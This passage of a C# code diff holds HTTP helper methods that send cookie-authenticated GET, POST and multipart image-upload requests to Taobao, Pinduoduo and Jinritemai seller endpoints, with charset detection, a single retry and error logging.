= c.Substring(0, c.IndexOf("'")); + if (c.IndexOf("\"") > -1) + c = c.Substring(0, c.IndexOf("\"")); + if (c.IndexOf(" ") > -1) + c = c.Substring(0, c.IndexOf(" ")); + if (c.IndexOf(">") > -1) + c = c.Substring(0, c.IndexOf(">")); + if (!string.IsNullOrEmpty(c)) + html = Encoding.GetEncoding(c).GetString(b); + } + head = wb.ResponseHeaders.ToString(); + } + catch (Exception ee) + { + html = "提交错误:" + ee.Message; + head = ""; + } + return GetHtml.Decode(html); + } + catch (Exception e) + { + LogSave.Add("访问网址错误:" + url + " " + e.Message); + return ""; + } + } + + public static string UploadTaobaoH5(string url, string refere, bool isUtf8, string cookies) + { + cookies = BaseClass.IeFormCookies; + return UploadTaobaoPostH5(url, refere, isUtf8, "", false, cookies); + } + public static string UploadTaobaoPostH5(string url, string refere, bool isUtf8, string data, bool isPost, + string cookies) + { + bool againt = false; + try + { + Againt: + string userAgent = BaseClass.ChromeUserAgent; + WebClientx wb = new WebClientx(); + wb.Timeout = 30; + wb.AllowAutoRedirect = true; + wb.Headers.Add("Accept", "application/json, text/javascript, */*; q=0.01"); + wb.Headers.Add("X-Requested-With", "XMLHttpRequest"); + wb.Headers.Add("Accept-Encoding", "gzip,deflate"); + if (url.Contains("gy.taobao.com")) + wb.Headers.Add("Origin", "https://gy.taobao.com"); + if (url.Contains("mms.pinduoduo.com")) + wb.Headers.Add("Origin", "http://mms.pinduoduo.com"); + //if (url.Contains("fuwu.pinduoduo.com")) + // wb.Headers.Add("Origin", "https://fuwu.pinduoduo.com"); + wb.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3"); + //userAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.79 Safari/537.36"; + wb.Headers.Add("User-Agent", userAgent); + string xtoken = BaseRegex.GetMatchRegexString(ref cookies, "XSRF-TOKEN=([\\s\\S]+?);"); + if (!string.IsNullOrEmpty(xtoken)) + { + wb.Headers.Add("X-XSRF-TOKEN", xtoken); + } + wb.Proxy = null; + if (!string.IsNullOrEmpty(refere)) + wb.Headers.Add("Referer", refere); + if (!string.IsNullOrEmpty(cookies)) + wb.Headers.Add("Cookie", cookies); + string rehead = wb.Headers.ToString(); + var encode = isUtf8 ? Encoding.UTF8 : Encoding.GetEncoding("gbk"); + byte[] b, postData = encode.GetBytes(data); + string html, head; + try + { + if (string.IsNullOrEmpty(data) && !isPost) + { + b = wb.DownloadData(url); + } + else + { + if (isPost || url.Contains("taobao.com") || url.Contains("1688.com")) + { + wb.Headers.Add("Content-Type", "application/x-www-form-urlencoded"); + } + else + { + wb.Headers.Add("Content-Type", "application/json; charset=" + (isUtf8 ? "UTF-8" : "gbk")); + } + wb.Headers.Add("ContentLength", postData.Length.ToString()); + b = wb.UploadData(url, "POST", postData); + } + html = encode.GetString(b); + + string c = BaseRegex.GetMatchRegexString(wb.ResponseHeaders["Content-Type"], "charset\\s*=\\s*(\\S+)"); + if (!string.IsNullOrEmpty(c)) + { + c = c.Trim().ToLower().Replace("utf8", "utf-8"); + } + if (string.IsNullOrEmpty(c)) + c = BaseRegex.GetMatchRegexString(html, @"]*?charset=[""']*([\w-]+)[""']*"); + if (!string.IsNullOrEmpty(c)) + { + if (c.IndexOf("'") > -1) + c = c.Substring(0, c.IndexOf("'")); + if (c.IndexOf("\"") > -1) + c = c.Substring(0, c.IndexOf("\"")); + if (c.IndexOf(" ") > -1) + c = c.Substring(0, c.IndexOf(" ")); + if (c.IndexOf(">") > -1) + c = c.Substring(0, c.IndexOf(">")); + if (!string.IsNullOrEmpty(c)) + html = Encoding.GetEncoding(c).GetString(b); + } + head = wb.ResponseHeaders.ToString(); + //string lo= response.Headers["Location"]; + } + catch (Exception ee) + { + html = "提交错误:" + ee.Message; + head = ""; + if (!againt) + { + againt = true; + Thread.Sleep(10 * 1000); + goto Againt; + } + } + return GetHtml.Decode(html); + } + catch (Exception e) + { + LogSave.Add("访问网址错误:" + url + " " + e.Message); + return ""; + } + + } + public static string HttpPostData(string url, string fileName, byte[] file, string referer, string cookies) + { + bool falg = true; + Again: + if (string.IsNullOrEmpty(cookies)) + return ""; + var webRequest = (HttpWebRequest)WebRequest.Create(url); + // 边界符 + var boundary = "----WebKitFormBoundary3nmMkweghIBnMXSD"; + // 设置属性 + webRequest.KeepAlive = true; + webRequest.Method = "POST"; + webRequest.ContentType = "multipart/form-data; boundary=" + boundary; + webRequest.Referer = referer; + webRequest.UserAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36"; + webRequest.Accept = "*/*"; + webRequest.Headers.Add("Origin", @"https://fxg.jinritemai.com"); + webRequest.Headers.Add("Sec-Fetch-Site", @"same-origin"); + webRequest.Headers.Add("Sec-Fetch-Mode", @"cors"); + webRequest.Headers.Add("Sec-Fetch-Dest", @"empty"); + webRequest.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate"); + webRequest.Headers.Set(HttpRequestHeader.AcceptLanguage, "zh-CN,zh;q=0.9"); + webRequest.Headers.Set(HttpRequestHeader.Cookie, cookies); + var memStream = new MemoryStream(); + // 边界符 + var beginBoundary = Encoding.ASCII.GetBytes("--" + boundary + "\r\n"); + // 最后的结束符 + var endBoundary = Encoding.ASCII.GetBytes("\r\n--" + boundary + "--"); + // 写入文件 + string filePartHeader = + "Content-Disposition: form-data; name=\"{0}\"; filename=\"{1}\"\r\n" + + "Content-Type: image/jpeg\r\n\r\n"; + + var header = string.Format(filePartHeader, "image[0]", fileName); + var headerbytes = Encoding.UTF8.GetBytes(header); + memStream.Write(beginBoundary, 0, beginBoundary.Length); + memStream.Write(headerbytes, 0, headerbytes.Length); + memStream.Write(file, 0, file.Length); + // 写入最后的结束边界符 + memStream.Write(endBoundary, 0, endBoundary.Length); + webRequest.ContentLength = memStream.Length; + using (Stream stream = webRequest.GetRequestStream()) + { + memStream.WriteTo(stream); + } + string responseText = ""; + var httpWebResponse = (HttpWebResponse)webRequest.GetResponse(); + + if (httpWebResponse != null) + { + if (string.IsNullOrEmpty(responseText)) + responseText = ReadResponse(httpWebResponse); + httpWebResponse.Close(); + } + if (responseText.Contains("\"success\":false") && falg) + { + falg = false; + goto Again; + } + return responseText; + } + + public static string ReadResponse(HttpWebResponse response) + { + using (Stream responseStream = response.GetResponseStream()) + { + Stream streamToRead = responseStream; + if (response.ContentEncoding.ToLower().Contains("gzip")) + { + streamToRead = new GZipStream(streamToRead, CompressionMode.Decompress); + } + else if (response.ContentEncoding.ToLower().Contains("deflate")) + { + streamToRead = new DeflateStream(streamToRead, CompressionMode.Decompress); + } + + using (StreamReader streamReader = new StreamReader(streamToRead, Encoding.UTF8)) + { + return streamReader.ReadToEnd(); + } + } + } + + /// + /// GET数据 + /// + /// 网址 + /// 来源 + /// 编码是否为UTF-8 + /// + public static string UploadTaobao(string url, string refere, bool isUtf8) + { + string cookies = GetCookies(url, ""); + return UploadTaobaoPost(url, refere, isUtf8, "", false, cookies); + } + public static string UploadTaobaoTokenx(string url, string refere, bool isUtf8) + { + return UploadTaobaoPostToken(url, refere, isUtf8, "", false, ""); + } + public static string UploadTaobaoPostToken(string url, string refere, bool isUtf8, string data, bool isPost, string cookies) + { + try + { + cookies = GetCookies(url, cookies); + string userAgent = BaseClass.ChromeUserAgent; + WebClientx wb = new WebClientx(); + wb.Timeout = 30; + wb.AllowAutoRedirect = true; + wb.Headers.Add("Accept", "application/json, text/javascript, */*; q=0.01"); + wb.Headers.Add("X-Requested-With", "XMLHttpRequest"); + wb.Headers.Add("Accept-Encoding", "gzip,deflate"); + wb.Headers.Add("dnt", "1"); + if (!string.IsNullOrEmpty(cookies) && cookies.Contains("PDDAccessToken")) + { + wb.Headers.Add("accesstoken", BaseRegex.GetMatchRegexString(ref cookies, "PDDAccessToken=([^:]+?);")); + } + else + { + if (!string.IsNullOrEmpty(cookies) && cookies.Contains("PDDAccessToken") && BaseClass.CookiesAll.ContainsKey("yangkeduo.com") && BaseClass.CookiesAll["yangkeduo.com"].ContainsKey("PDDAccessToken")) + wb.Headers.Add("accesstoken", BaseClass.CookiesAll["yangkeduo.com"]["PDDAccessToken"]); + if (!string.IsNullOrEmpty(cookies) && url.Contains("api.pinduoduo.com")) + { + wb.Headers.Add("accesstoken", BaseClass.CookiesAll["yangkeduo.com"]["PDDAccessToken"]); + } + } + + wb.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3"); + if (url.Contains("buyertrade.taobao.com")) + wb.Headers.Add("origin", "https://buyertrade.taobao.com"); + wb.Headers.Add("User-Agent", userAgent); + wb.Proxy = null; + if (!string.IsNullOrEmpty(refere)) + wb.Headers.Add("Referer", refere); + if (!string.IsNullOrEmpty(cookies)) + wb.Headers.Add("Cookie", cookies); + //wb.Proxy = null; + + var encode = isUtf8 ? Encoding.UTF8 : Encoding.GetEncoding("gbk"); + byte[] b, postData = encode.GetBytes(data); + string html, head; + try + { + if (string.IsNullOrEmpty(data) && !isPost) + { + b = wb.DownloadData(url); + } + else + { + if (isPost || url.Contains("taobao.com") || url.Contains("1688.com")) + { + wb.Headers.Add("Content-Type", "application/x-www-form-urlencoded"); + } + else + { + wb.Headers.Add("Content-Type", "application/json; charset=" + (isUtf8 ? "UTF-8" : "gbk")); + } + wb.Headers.Add("ContentLength", postData.Length.ToString()); + string rehead = wb.Headers.ToString(); + b = wb.UploadData(url, "POST", postData); + } + html = encode.GetString(b); + string c = BaseRegex.GetMatchRegexString(wb.ResponseHeaders["Content-Type"], "charset\\s*=\\s*(\\S+)"); + if (!string.IsNullOrEmpty(c)) + { + c = c.Trim().ToLower().Replace("utf8", "utf-8"); + } + if (string.IsNullOrEmpty(c)) + c = BaseRegex.GetMatchRegexString(html, @"]*?charset=[""']*([\w-]+)[""']*"); + if (!string.IsNullOrEmpty(c)) + { + if (c.IndexOf("'") > -1) + c = c.Substring(0, c.IndexOf("'")); + if (c.IndexOf("\"") > -1) + c = c.Substring(0, c.IndexOf("\"")); + if (c.IndexOf(" ") > -1) + c = c.Substring(0, c.IndexOf(" ")); + if (c.IndexOf(">") > -1) + c = c.Substring(0, c.IndexOf(">")); + if (!string.IsNullOrEmpty(c)) + html = Encoding.GetEncoding(c).GetString(b); + } + head = wb.ResponseHeaders.ToString(); + if (url.Contains("api=mtop.user.getUserSimple") && head.Contains("_m_h5_tk=")) + html = wb.ResponseHeaders["Set-Cookie"]; + } + catch (Exception ee) + { + html = "提交错误:" + ee.Message; + head = ""; + } + return GetHtml.Decode(html); + } + catch (Exception e) + { + LogSave.Add("访问网址错误:" + url + " " + e.Message); + return ""; + } + } + public static string UploadTaobao(string url, string refere, bool isUtf8, string cookies) + { + return UploadTaobaoPost(url, refere, isUtf8, "", false, cookies); + } + + public static string GetCookies(string url, string cookies) + { + if (!string.IsNullOrEmpty(cookies)) + return cookies; + string mainDomain = GetHtml.GetMainDomain(GetHtml.GetDomain(url)); + if (BaseClass.CookiesAllString.ContainsKey(mainDomain)) + cookies = BaseClass.CookiesAllString[mainDomain]; + return cookies; + } + + public static string UploadTaobaoToken(string url, string refere, bool isUtf8) + { + string cookies = GetCookies(url, ""); + return UploadTaobaoTokenPost(url, refere, isUtf8, "", false, cookies); + } + public static string UploadTaobaoTokenPost(string url, string refere, bool isUtf8, string data, bool isPost, string cookies) + { + try + { + string userAgent = BaseClass.ChromeUserAgent; + WebClientx wb = new WebClientx(); + wb.Timeout = 30; + wb.AllowAutoRedirect = true; + wb.Headers.Add("Accept", "application/json, text/javascript, */*; q=0.01"); + wb.Headers.Add("X-Requested-With", "XMLHttpRequest"); + wb.Headers.Add("Accept-Encoding", "gzip,deflate"); + wb.Headers.Add("dnt", "1"); + if (!string.IsNullOrEmpty(cookies) && cookies.Contains("PDDAccessToken") && BaseClass.CookiesAll.ContainsKey("yangkeduo.com") && BaseClass.CookiesAll["yangkeduo.com"].ContainsKey("PDDAccessToken")) + wb.Headers.Add("accesstoken", BaseClass.CookiesAll["yangkeduo.com"]["PDDAccessToken"]); + if (!string.IsNullOrEmpty(cookies) && url.Contains("api.pinduoduo.com")) + { + wb.Headers.Add("accesstoken", BaseClass.CookiesAll["yangkeduo.com"]["PDDAccessToken"]); + } + wb.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3"); + if (url.Contains("buyertrade.taobao.com")) + wb.Headers.Add("origin", "https://buyertrade.taobao.com"); + wb.Headers.Add("User-Agent", userAgent); + wb.Proxy = null; + if (!string.IsNullOrEmpty(refere)) + wb.Headers.Add("Referer", refere); + if (!string.IsNullOrEmpty(cookies)) + wb.Headers.Add("Cookie", cookies); + //wb.Proxy = null; + + var encode = isUtf8 ? Encoding.UTF8 : Encoding.GetEncoding("gbk"); + byte[] b, postData = encode.GetBytes(data); + string html, head; + try + { + if (string.IsNullOrEmpty(data) && !isPost) + { + b = wb.DownloadData(url); + } + else + { + if (isPost || url.Contains("taobao.com") || url.Contains("1688.com")) + { + wb.Headers.Add("Content-Type", "application/x-www-form-urlencoded"); + } + else + { + wb.Headers.Add("Content-Type", "application/json; charset=" + (isUtf8 ? "UTF-8" : "gbk")); + } + wb.Headers.Add("ContentLength", postData.Length.ToString()); + string rehead = wb.Headers.ToString(); + b = wb.UploadData(url, "POST", postData); + } + html = encode.GetString(b); + string c = BaseRegex.GetMatchRegexString(wb.ResponseHeaders["Content-Type"], "charset\\s*=\\s*(\\S+)"); + if (!string.IsNullOrEmpty(c)) + { + c = c.Trim().ToLower().Replace("utf8", "utf-8"); + } + if (string.IsNullOrEmpty(c)) + c = BaseRegex.GetMatchRegexString(html, @"]*?charset=[""']*([\w-]+)[""']*"); + if (!string.IsNullOrEmpty(c)) + { + if (c.IndexOf("'") > -1) + c = c.Substring(0, c.IndexOf("'")); + if (c.IndexOf("\"") > -1) + c = c.Substring(0, c.IndexOf("\"")); + if (c.IndexOf(" ") > -1) + c = c.Substring(0, c.IndexOf(" ")); + if (c.IndexOf(">") > -1) + c = c.Substring(0, c.IndexOf(">")); + if (!string.IsNullOrEmpty(c)) + html = Encoding.GetEncoding(c).GetString(b); + } + head = wb.ResponseHeaders.ToString(); + if (url.Contains("api=mtop.user.getUserSimple") && head.Contains("_m_h5_tk=")) + html = wb.ResponseHeaders["Set-Cookie"]; + } + catch (Exception ee) + { + html = "提交错误:" + ee.Message; + head = ""; + } + return GetHtml.Decode(html); + } + catch (Exception e) + { + LogSave.Add("访问网址错误:" + url + " " + e.Message); + return ""; + } + } + + public static string UploadTaobaoPost(string url, string refere, bool isUtf8, string data) + { + string cookies = GetCookies(url, ""); + return UploadTaobaoPost(url, refere, isUtf8, data, false, cookies); + } + public static string UploadTaobaoPost(string url, string refere, bool isUtf8, string data, string cookies) + { + return UploadTaobaoPost(url, refere, isUtf8, data, false, cookies); + } + + public static string UploadFxgPost(string url, string refere, bool isUtf8, string data, string cookies) + { + return UploadFxgPost(url, refere, isUtf8, data, true, cookies); + } + + public static string UploadFilePost(string url, string refere, bool isUtf8, NameValueCollection stringDict, string cookies) + { + bool againt = false; + try + { + cookies = GetCookies(url, cookies); + if (string.IsNullOrEmpty(cookies)) + cookies = BaseClass.ChromeCookies; + string pdd = ""; + if (!string.IsNullOrEmpty(cookies)) + pdd = BaseRegex.GetMatchRegexString(ref cookies, "PDDAccessToken=([^;]+?);"); + Againt: + string userAgent = BaseClass.ChromeUserAgent; + var boundary = "----------QkZCM0JGQjYtQzkwRC1CRkU0LUFFQjctMUEyM0M5MkVDMTMz"; + // 边界符 + var beginBoundary = Encoding.ASCII.GetBytes("--" + boundary + "\r\n"); + //var fileStream = new FileStream(filePath, FileMode.Open, FileAccess.Read); + // 最后的结束符 + var endBoundary = Encoding.ASCII.GetBytes("--" + boundary + "--\r\n"); + WebClientx wb = new WebClientx(); + wb.Timeout = 30; + wb.AllowAutoRedirect = true; + wb.Headers.Add("Accept", "application/json, text/javascript, */*; q=0.01"); + wb.Headers.Add("X-Requested-With", "XMLHttpRequest"); + wb.Headers.Add("Accept-Encoding", "gzip,deflate"); + if(url.Contains("https://s.taobao.com/image")) + wb.Headers.Add("Origin", "https://www.taobao.com"); + if (!string.IsNullOrEmpty(cookies) && cookies.Contains("PDDAccessToken") && BaseClass.CookiesAll.ContainsKey("yangkeduo.com") && BaseClass.CookiesAll["yangkeduo.com"].ContainsKey("PDDAccessToken")) + wb.Headers.Add("accesstoken", BaseClass.CookiesAll["yangkeduo.com"]["PDDAccessToken"]); + else if (!string.IsNullOrEmpty(pdd)) + wb.Headers.Add("accesstoken", pdd); + wb.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3"); + wb.Headers.Add("User-Agent", userAgent); + wb.Proxy = null; + if (!string.IsNullOrEmpty(refere)) + wb.Headers.Add("Referer", refere); + if (!string.IsNullOrEmpty(cookies)) + wb.Headers.Add("Cookie", cookies); + wb.Proxy = null; + string rehead = wb.Headers.ToString(); + var encode = isUtf8 ? Encoding.UTF8 : Encoding.GetEncoding("gbk"); + byte[] b; + string html, head; + try + { + var memStream = new MemoryStream(); + wb.Headers.Add("Content-Type", "multipart/form-data; boundary=" + boundary); + memStream.Write(beginBoundary, 0, beginBoundary.Length); + // 写入字符串的Key + var stringKeyHeader = "\r\n--" + boundary + + "\r\nContent-Disposition: form-data; name=\"{0}\"" + + "\r\n\r\n{1}\r\n"; + + foreach (byte[] formitembytes in from string key in stringDict.Keys + select string.Format(stringKeyHeader, key, stringDict[key]) + into formitem + select Encoding.UTF8.GetBytes(formitem)) + { + memStream.Write(formitembytes, 0, formitembytes.Length); + } + + // 写入最后的结束边界符 + memStream.Write(endBoundary, 0, endBoundary.Length); + wb.Headers.Add("ContentLength", memStream.Length.ToString()); + var tempBuffer = memStream.ToArray(); + b = wb.UploadData(url, "POST", tempBuffer); + html = encode.GetString(b); + + string c = BaseRegex.GetMatchRegexString(wb.ResponseHeaders["Content-Type"], "charset\\s*=\\s*(\\S+)"); + if (!string.IsNullOrEmpty(c)) + { + c = c.Trim().ToLower().Replace("utf8", "utf-8"); + } + if (string.IsNullOrEmpty(c)) + c = BaseRegex.GetMatchRegexString(html, @"]*?charset=[""']*([\w-]+)[""']*"); + if (!string.IsNullOrEmpty(c)) + { + if (c.IndexOf("'") > -1) + c = c.Substring(0, c.IndexOf("'")); + if (c.IndexOf("\"") > -1) + c = c.Substring(0, c.IndexOf("\"")); + if (c.IndexOf(" ") > -1) + c = c.Substring(0, c.IndexOf(" ")); + if (c.IndexOf(">") > -1) + c = c.Substring(0, c.IndexOf(">")); + if (!string.IsNullOrEmpty(c)) + html = Encoding.GetEncoding(c).GetString(b); + } + head = wb.ResponseHeaders.ToString(); + } + catch (Exception ee) + { + html = "提交错误:" + ee.Message; + head = ""; + if (!againt) + { + againt = true; + Thread.Sleep(10 * 1000); + goto Againt; + } + } + return GetHtml.Decode(html); + } + catch (Exception e) + { + LogSave.Add("访问网址错误:" + url + " " + e.Message); + return ""; + } + } + + public static string GetUrl(string url, string refere, bool isUtf8, string data, string sCookies = "") + { + try + { + string domain = GetHtml.GetDomain(url); + string mainDomain = GetHtml.GetMainDomain(domain); + string cookies = sCookies; + if (BaseClass.CookiesAllString.ContainsKey(mainDomain)) + cookies = BaseClass.CookiesAllString[mainDomain]; + else if (BaseClass.CookiesAllString.ContainsKey(domain)) + cookies = BaseClass.CookiesAllString[domain]; + string userAgent = BaseClass.ChromeUserAgent; + WebClientx wb = new WebClientx(); + wb.Timeout = 30; + wb.AllowAutoRedirect = true; + wb.Headers.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"); + //wb.Headers.Add("X-Requested-With", "XMLHttpRequest"); + wb.Headers.Add("Accept-Encoding", "gzip,deflate"); + wb.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3"); + wb.Headers.Add("User-Agent", userAgent); + wb.Proxy = null; + if (!string.IsNullOrEmpty(refere)) + wb.Headers.Add("Referer", refere); + if (!string.IsNullOrEmpty(cookies)) + wb.Headers.Add("Cookie", cookies); + wb.Proxy = null; + string rehead = wb.Headers.ToString(); + var encode = isUtf8 ? Encoding.UTF8 : Encoding.GetEncoding("gbk"); + byte[] b, postData = data == null ? new byte[0] : encode.GetBytes(data); + string html, head; + try + { + if (string.IsNullOrEmpty(data)) + { + b = wb.DownloadData(url); + } + else + { + wb.Headers.Add("Content-Type", "application/x-www-form-urlencoded"); + wb.Headers.Add("ContentLength", postData.Length.ToString()); + b = wb.UploadData(url, "POST", postData); + } + html = encode.GetString(b); + + string c = BaseRegex.GetMatchRegexString(wb.ResponseHeaders["Content-Type"], "charset\\s*=\\s*(\\S+)"); + if (!string.IsNullOrEmpty(c)) + { + c = c.Trim().ToLower().Replace("utf8", "utf-8"); + } + if (string.IsNullOrEmpty(c)) + c = BaseRegex.GetMatchRegexString(html, @"]*?charset=[""']*([\w-]+)[""']*"); + if (!string.IsNullOrEmpty(c)) + { + if (c.IndexOf("'") > -1) + c = c.Substring(0, c.IndexOf("'")); + if (c.IndexOf("\"") > -1) + c = c.Substring(0, c.IndexOf("\"")); + if (c.IndexOf(" ") > -1) + c = c.Substring(0, c.IndexOf(" ")); + if (c.IndexOf(">") > -1) + c = c.Substring(0, c.IndexOf(">")); + if (!string.IsNullOrEmpty(c)) + html = Encoding.GetEncoding(c).GetString(b); + } + head = wb.ResponseHeaders.ToString(); + } + catch (Exception ee) + { + html = "提交错误:" + ee.Message; + head = ""; + } + return GetHtml.Decode(html); + } + catch (Exception e) + { + LogSave.Add("访问网址错误:" + url + " " + e.Message); + return ""; + } + } + + public static string PostTaobaoNew(string url, string refere, bool isUtf8, string data) + { + bool againt = false; + try + { + string cookies = GetCookies(url, ""); + if (string.IsNullOrEmpty(cookies)) + cookies = BaseClass.ChromeCookies; + Againt: + string userAgent = BaseClass.ChromeUserAgent; + WebClientx wb = new WebClientx(); + wb.Timeout = 30; + wb.AllowAutoRedirect = true; + wb.Headers.Add("Accept-Encoding", "gzip,deflate"); + if (url.Contains("gy.taobao.com")) + wb.Headers.Add("Origin", "https://gy.taobao.com"); + wb.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3"); + wb.Headers.Add("User-Agent", userAgent); + wb.Proxy = null; + if (!string.IsNullOrEmpty(refere)) + wb.Headers.Add("Referer", refere); + if (!string.IsNullOrEmpty(cookies)) + wb.Headers.Add("Cookie", cookies); + string rehead = wb.Headers.ToString(); + var encode = isUtf8 ? Encoding.UTF8 : Encoding.GetEncoding("gbk"); + byte[] b, postData = encode.GetBytes(data); + string html, head; + try + { + if (string.IsNullOrEmpty(data)) + { + b = wb.DownloadData(url); + } + else + { + wb.Headers.Add("Content-Type", "application/x-www-form-urlencoded"); + wb.Headers.Add("ContentLength", postData.Length.ToString()); + b = wb.UploadData(url, "POST", postData); + } + html = encode.GetString(b); + + string c = BaseRegex.GetMatchRegexString(wb.ResponseHeaders["Content-Type"], "charset\\s*=\\s*(\\S+)"); + if (!string.IsNullOrEmpty(c)) + { + c = c.Trim().ToLower().Replace("utf8", "utf-8"); + } + if (string.IsNullOrEmpty(c)) + c = BaseRegex.GetMatchRegexString(html, @"]*?charset=[""']*([\w-]+)[""']*"); + if (!string.IsNullOrEmpty(c)) + { + if (c.IndexOf("'") > -1) + c = c.Substring(0, c.IndexOf("'")); + if (c.IndexOf("\"") > -1) + c = c.Substring(0, c.IndexOf("\"")); + if (c.IndexOf(" ") > -1) + c = c.Substring(0, c.IndexOf(" ")); + if (c.IndexOf(">") > -1) + c = c.Substring(0, c.IndexOf(">")); + if (!string.IsNullOrEmpty(c)) + html = Encoding.GetEncoding(c).GetString(b); + } + head = wb.ResponseHeaders.ToString(); + } + catch (Exception ee) + { + html = "提交错误:" + ee.Message; + head = ""; + if (!againt) + { + againt = true; + Thread.Sleep(10 * 1000); + goto Againt; + } + } + return GetHtml.Decode(html); + } + catch (Exception e) + { + LogSave.Add("访问网址错误:" + url + " " + e.Message); + return ""; + } + } + + public static string JsonPinduoduoUpload(string url, string refere, bool isUtf8, string data, string cookies) + { + cookies = GetCookies(url, cookies); + if (string.IsNullOrEmpty(cookies)) + cookies = BaseClass.ChromeCookies; + string pdd = ""; + if (!string.IsNullOrEmpty(cookies)) + pdd = BaseRegex.GetMatchRegexString(ref cookies, "PDDAccessToken=([^;]+?);"); + string pddx = ""; + if (!string.IsNullOrEmpty(cookies)) + pddx = BaseRegex.GetMatchRegexString(ref cookies, "PASS_ID=([^;]+?);"); + string userAgent = BaseClass.ChromeUserAgent; + WebClientx wb = new WebClientx(); + wb.Timeout = 30; + wb.AllowAutoRedirect = true; + wb.Headers.Add("Accept", "application/json, text/javascript, */*; q=0.01"); + wb.Headers.Add("Accept-Encoding", "gzip,deflate"); + if (!string.IsNullOrEmpty(cookies) && cookies.Contains("PDDAccessToken") && BaseClass.CookiesAll.ContainsKey("yangkeduo.com") && BaseClass.CookiesAll["yangkeduo.com"].ContainsKey("PDDAccessToken")) + wb.Headers.Add("accesstoken", BaseClass.CookiesAll["yangkeduo.com"]["PDDAccessToken"]); + else if (!string.IsNullOrEmpty(pdd)) + wb.Headers.Add("accesstoken", pdd); + else if (!string.IsNullOrEmpty(pddx)) + wb.Headers.Add("PASSID", pddx); + if (url.Contains("mms.pinduoduo.com")) + wb.Headers.Add("Origin", "https://mms.pinduoduo.com"); + wb.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3"); + wb.Headers.Add("User-Agent", userAgent); + wb.Proxy = null; + if (!string.IsNullOrEmpty(refere)) + wb.Headers.Add("Referer", refere); + if (!string.IsNullOrEmpty(cookies)) + wb.Headers.Add("Cookie", cookies); + wb.Proxy = null; + wb.Headers.Add("Content-Type", "application/json; charset=" + (isUtf8 ? "UTF-8" : "gbk")); + string rehead = wb.Headers.ToString(); + var encode = isUtf8 ? Encoding.UTF8 : Encoding.GetEncoding("gbk"); + byte[] b, postData = encode.GetBytes(data); + string html, head; + try + { + if (string.IsNullOrEmpty(data)) + { + b = wb.DownloadData(url); + } + else + { + + wb.Headers.Add("ContentLength", postData.Length.ToString()); + b = wb.UploadData(url, "POST", postData); + } + html = encode.GetString(b); + return html; + } + catch (Exception e) + { + LogSave.Add("访问网址错误:" + url + " " + e.Message); + return ""; + } + } + + public static string UploadTaobaoDetailPic(string url, string refere, bool isUtf8) + { + return UploadTaobaoPostDetail(url, refere, isUtf8, "", false, ""); + } + public static string UploadTaobaoDetailPic(string url, string refere, bool isUtf8, string cookies) + { + return UploadTaobaoPostDetail(url, refere, isUtf8, "", false, cookies); + } + public static string UploadTaobaoPostDetail(string url, string refere, bool isUtf8, string data, bool isPost, + string cookies) + { + bool againt = false; + try + { + Againt: + string userAgent = BaseClass.ChromeUserAgent; + WebClientx wb = new WebClientx(); + wb.Timeout = 30; + wb.AllowAutoRedirect = true; + wb.Headers.Add("Accept", "application/json, text/javascript, */*; q=0.01"); + wb.Headers.Add("X-Requested-With", "XMLHttpRequest"); + wb.Headers.Add("Accept-Encoding", "gzip,deflate"); + if (!string.IsNullOrEmpty(cookies) && cookies.Contains("PDDAccessToken") && BaseClass.CookiesAll.ContainsKey("yangkeduo.com") && BaseClass.CookiesAll["yangkeduo.com"].ContainsKey("PDDAccessToken")) + wb.Headers.Add("accesstoken", BaseClass.CookiesAll["yangkeduo.com"]["PDDAccessToken"]); + if (url.Contains("gy.taobao.com")) + wb.Headers.Add("Origin", "https://gy.taobao.com"); + if (url.Contains("mms.pinduoduo.com")) + wb.Headers.Add("Origin", "http://mms.pinduoduo.com"); + //if (url.Contains("fuwu.pinduoduo.com")) + // wb.Headers.Add("Origin", "https://fuwu.pinduoduo.com"); + wb.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3"); + wb.Headers.Add("User-Agent", userAgent); + wb.Proxy = null; + if (!string.IsNullOrEmpty(refere)) + wb.Headers.Add("Referer", refere); + if (!string.IsNullOrEmpty(cookies)) + wb.Headers.Add("Cookie", cookies); + string rehead = wb.Headers.ToString(); + var encode = isUtf8 ? Encoding.UTF8 : Encoding.GetEncoding("gbk"); + byte[] b, postData = encode.GetBytes(data); + string html, head; + try + { + if (string.IsNullOrEmpty(data) && !isPost) + { + b = wb.DownloadData(url); + } + else + { + if (isPost || url.Contains("taobao.com") || url.Contains("1688.com")) + { + wb.Headers.Add("Content-Type", "application/x-www-form-urlencoded"); + } + else + { + wb.Headers.Add("Content-Type", "application/json; charset=" + (isUtf8 ? "UTF-8" : "gbk")); + } + wb.Headers.Add("ContentLength", postData.Length.ToString()); + b = wb.UploadData(url, "POST", postData); + } + html = encode.GetString(b); + + string c = BaseRegex.GetMatchRegexString(wb.ResponseHeaders["Content-Type"], "charset\\s*=\\s*(\\S+)"); + if (!string.IsNullOrEmpty(c)) + { + c = c.Trim().ToLower().Replace("utf8", "utf-8"); + } + if (string.IsNullOrEmpty(c)) + c = BaseRegex.GetMatchRegexString(html, @"]*?charset=[""']*([\w-]+)[""']*"); + if (!string.IsNullOrEmpty(c)) + { + if (c.IndexOf("'") > -1) + c = c.Substring(0, c.IndexOf("'")); + if (c.IndexOf("\"") > -1) + c = c.Substring(0, c.IndexOf("\"")); + if (c.IndexOf(" ") > -1) + c = c.Substring(0, c.IndexOf(" ")); + if (c.IndexOf(">") > -1) + c = c.Substring(0, c.IndexOf(">")); + if (!string.IsNullOrEmpty(c)) + html = Encoding.GetEncoding(c).GetString(b); + } + head = 